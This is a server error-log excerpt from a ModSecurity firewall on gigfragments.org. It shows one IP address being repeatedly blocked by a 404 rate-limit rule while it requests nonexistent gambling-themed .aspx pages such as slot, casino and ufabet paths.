[Sun Feb 08 18:07:50.578350 2026] [:error] [pid 54609:tid 54611] [client 54.36.179.84:51030] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYhgdqRRnRH9N52BW9KOpgAAAYA"]
[Sun Feb 08 18:07:52.550793 2026] [:error] [pid 24423:tid 24485] [client 54.36.179.84:56714] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYhgeE3f9n1Y0TpV5YZS4gAAAIA"]
[Sun Feb 08 18:07:54.415276 2026] [:error] [pid 24423:tid 24507] [client 54.36.179.84:56716] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYhgek3f9n1Y0TpV5YZS5AAAAJY"]
[Sun Feb 08 18:07:56.430418 2026] [:error] [pid 24422:tid 24467] [client 54.36.179.84:37708] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYhgfCNNjcLoSCLKhTdkzgAAAEk"]
[Sun Feb 08 18:07:58.443980 2026] [:error] [pid 54609:tid 54624] [client 54.36.179.84:37712] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYhgfqRRnRH9N52BW9KOrgAAAY0"]
[Sun Feb 08 18:08:00.452990 2026] [:error] [pid 24530:tid 24547] [client 54.36.179.84:37728] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYhggEazNRCs1GRWrh7-SgAAAM8"]
[Sun Feb 08 18:08:02.471073 2026] [:error] [pid 54609:tid 54621] [client 54.36.179.84:37732] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYhggqRRnRH9N52BW9KOtAAAAYo"]
[Sun Feb 08 18:08:04.486500 2026] [:error] [pid 24530:tid 24540] [client 54.36.179.84:37734] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYhghEazNRCs1GRWrh7-TgAAAMg"]
[Sun Feb 08 18:08:06.344965 2026] [:error] [pid 58631:tid 58646] [client 54.36.179.84:43314] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYhghn-r9Xz6zi7KqKxVlAAAAc0"]
[Sun Feb 08 18:08:08.365121 2026] [:error] [pid 24530:tid 24536] [client 54.36.179.84:43322] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYhgiEazNRCs1GRWrh7-VQAAAMQ"]
[Sun Feb 08 18:08:10.377349 2026] [:error] [pid 43900:tid 43903] [client 54.36.179.84:43334] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYhgiuWrhnpm_Csk3kmLdAAAAUA"]
[Sun Feb 08 18:08:12.393763 2026] [:error] [pid 24422:tid 24481] [client 54.36.179.84:43346] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYhgjCNNjcLoSCLKhTdk6wAAAFc"]
[Sun Feb 08 18:08:14.248173 2026] [:error] [pid 58631:tid 58646] [client 54.36.179.84:43348] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYhgjn-r9Xz6zi7KqKxVnAAAAc0"]
[Sun Feb 08 18:08:16.258400 2026] [:error] [pid 24422:tid 24468] [client 54.36.179.84:46702] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYhgkCNNjcLoSCLKhTdk8gAAAEo"]
[Sun Feb 08 18:08:18.270900 2026] [:error] [pid 24423:tid 24506] [client 54.36.179.84:46704] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYhgkk3f9n1Y0TpV5YZS-QAAAJU"]
[Sun Feb 08 18:08:20.281874 2026] [:error] [pid 43900:tid 43908] [client 54.36.179.84:46708] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYhglOWrhnpm_Csk3kmLjAAAAUU"]
[Sun Feb 08 18:08:22.289525 2026] [:error] [pid 24423:tid 24509] [client 54.36.179.84:46712] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYhglk3f9n1Y0TpV5YZTAwAAAJg"]
[Sun Feb 08 18:08:24.294041 2026] [:error] [pid 54609:tid 54618] [client 54.36.179.84:46718] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYhgmKRRnRH9N52BW9KO1QAAAYc"]
[Sun Feb 08 18:08:26.310782 2026] [:error] [pid 24423:tid 24506] [client 54.36.179.84:45684] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYhgmk3f9n1Y0TpV5YZTCAAAAJU"]
[Sun Feb 08 18:08:28.171421 2026] [:error] [pid 54609:tid 54614] [client 54.36.179.84:45700] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYhgnKRRnRH9N52BW9KO3wAAAYM"]
[Sun Feb 08 18:08:30.177687 2026] [:error] [pid 24530:tid 24545] [client 54.36.179.84:45706] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYhgnkazNRCs1GRWrh7-ewAAAM0"]
[Sun Feb 08 18:08:32.186253 2026] [:error] [pid 54609:tid 54625] [client 54.36.179.84:45718] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYhgoKRRnRH9N52BW9KO5gAAAY4"]
[Sun Feb 08 18:08:34.201911 2026] [:error] [pid 24530:tid 24543] [client 54.36.179.84:45720] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYhgokazNRCs1GRWrh7-hQAAAMs"]
[Sun Feb 08 18:08:36.212960 2026] [:error] [pid 24530:tid 24535] [client 54.36.179.84:40406] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYhgpEazNRCs1GRWrh7-jAAAAMM"]
[Sun Feb 08 18:08:38.212679 2026] [:error] [pid 24422:tid 24458] [client 54.36.179.84:40418] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYhgpiNNjcLoSCLKhTdlFgAAAEA"]
[Sun Feb 08 18:08:40.215813 2026] [:error] [pid 24423:tid 24507] [client 54.36.179.84:40434] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYhgqE3f9n1Y0TpV5YZTEQAAAJY"]
[Sun Feb 08 18:08:42.226001 2026] [:error] [pid 54609:tid 54621] [client 54.36.179.84:40438] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aYhgqqRRnRH9N52BW9KO8wAAAYo"]
[Sun Feb 08 18:08:44.237375 2026] [:error] [pid 24422:tid 24460] [client 54.36.179.84:40440] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aYhgrCNNjcLoSCLKhTdlGgAAAEI"]
[Sun Feb 08 18:08:46.094229 2026] [:error] [pid 24421:tid 24452] [client 54.36.179.84:40452] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aYhgrqp7cTzhX5M1IP8XjgAAABU"]
[Sun Feb 08 18:09:23.990840 2026] [:error] [pid 24423:tid 24491] [client 54.36.179.84:53652] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYhg003f9n1Y0TpV5YZTTgAAAIY"]
[Sun Feb 08 18:09:25.948111 2026] [:error] [pid 56906:tid 56912] [client 54.36.179.84:42264] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYhg1fxl3WX27-WXfDiySQAAAQQ"]
[Sun Feb 08 18:09:27.957935 2026] [:error] [pid 24422:tid 24476] [client 54.36.179.84:41514] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYhg1yNNjcLoSCLKhTdlVwAAAFI"]
[Sun Feb 08 18:09:29.964813 2026] [:error] [pid 56906:tid 56916] [client 54.36.179.84:41518] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYhg2fxl3WX27-WXfDiyTAAAAQg"]
[Sun Feb 08 18:09:31.965050 2026] [:error] [pid 24423:tid 24485] [client 54.36.179.84:41524] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYhg203f9n1Y0TpV5YZTWQAAAIA"]
[Sun Feb 08 18:09:33.958370 2026] [:error] [pid 24422:tid 24475] [client 54.36.179.84:41526] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYhg3SNNjcLoSCLKhTdlYwAAAFE"]
[Sun Feb 08 18:09:35.957523 2026] [:error] [pid 58631:tid 58634] [client 54.36.179.84:41538] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYhg33-r9Xz6zi7KqKxWMgAAAcE"]
[Sun Feb 08 18:09:37.955538 2026] [:error] [pid 58631:tid 58641] [client 54.36.179.84:34220] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYhg4X-r9Xz6zi7KqKxWNgAAAcg"]
[Sun Feb 08 18:09:39.945647 2026] [:error] [pid 43900:tid 43914] [client 54.36.179.84:34236] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYhg4-Wrhnpm_Csk3kmL7QAAAUs"]
[Sun Feb 08 18:09:41.937485 2026] [:error] [pid 54609:tid 54616] [client 54.36.179.84:34240] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYhg5aRRnRH9N52BW9KPNgAAAYU"]
[Sun Feb 08 18:09:43.951636 2026] [:error] [pid 58631:tid 58643] [client 54.36.179.84:34242] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYhg53-r9Xz6zi7KqKxWPwAAAco"]
[Sun Feb 08 18:09:45.949986 2026] [:error] [pid 58631:tid 58635] [client 54.36.179.84:34258] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYhg6X-r9Xz6zi7KqKxWQQAAAcI"]
[Sun Feb 08 18:09:47.959939 2026] [:error] [pid 54609:tid 54615] [client 54.36.179.84:35770] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYhg66RRnRH9N52BW9KPPwAAAYQ"]
[Sun Feb 08 18:09:49.969929 2026] [:error] [pid 24422:tid 24461] [client 54.36.179.84:35772] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYhg7SNNjcLoSCLKhTdldwAAAEM"]
[Sun Feb 08 18:09:51.982319 2026] [:error] [pid 24422:tid 24459] [client 54.36.179.84:35784] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYhg7yNNjcLoSCLKhTdlfAAAAEE"]
[Sun Feb 08 18:09:53.982101 2026] [:error] [pid 24423:tid 24496] [client 54.36.179.84:35786] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYhg8U3f9n1Y0TpV5YZTawAAAIs"]
[Sun Feb 08 18:09:55.978938 2026] [:error] [pid 43900:tid 43911] [client 54.36.179.84:35796] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYhg8-Wrhnpm_Csk3kmL_gAAAUg"]
[Sun Feb 08 18:09:57.974103 2026] [:error] [pid 24421:tid 24439] [client 54.36.179.84:35048] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYhg9ap7cTzhX5M1IP8X3QAAAAg"]
[Sun Feb 08 18:09:59.973215 2026] [:error] [pid 24422:tid 24464] [client 54.36.179.84:35060] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYhg9yNNjcLoSCLKhTdliwAAAEY"]
[Sun Feb 08 18:10:01.994780 2026] [:error] [pid 54609:tid 54611] [client 54.36.179.84:35074] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYhg-aRRnRH9N52BW9KPTQAAAYA"]
[Sun Feb 08 18:10:03.986345 2026] [:error] [pid 24423:tid 24499] [client 54.36.179.84:35088] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYhg-03f9n1Y0TpV5YZTfQAAAI4"]
[Sun Feb 08 18:10:05.975972 2026] [:error] [pid 24422:tid 24476] [client 54.36.179.84:35094] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYhg_SNNjcLoSCLKhTdlkgAAAFI"]
[Sun Feb 08 18:10:07.974426 2026] [:error] [pid 54609:tid 54611] [client 54.36.179.84:46040] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYhg_6RRnRH9N52BW9KPVQAAAYA"]
[Sun Feb 08 18:10:09.982565 2026] [:error] [pid 24423:tid 24486] [client 54.36.179.84:46050] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYhhAU3f9n1Y0TpV5YZTiAAAAIE"]
[Sun Feb 08 18:10:11.990121 2026] [:error] [pid 24421:tid 24436] [client 54.36.179.84:46056] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYhhA6p7cTzhX5M1IP8X9gAAAAU"]
[Sun Feb 08 18:10:13.990841 2026] [:error] [pid 24423:tid 24502] [client 54.36.179.84:46066] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYhhBU3f9n1Y0TpV5YZTjQAAAJE"]
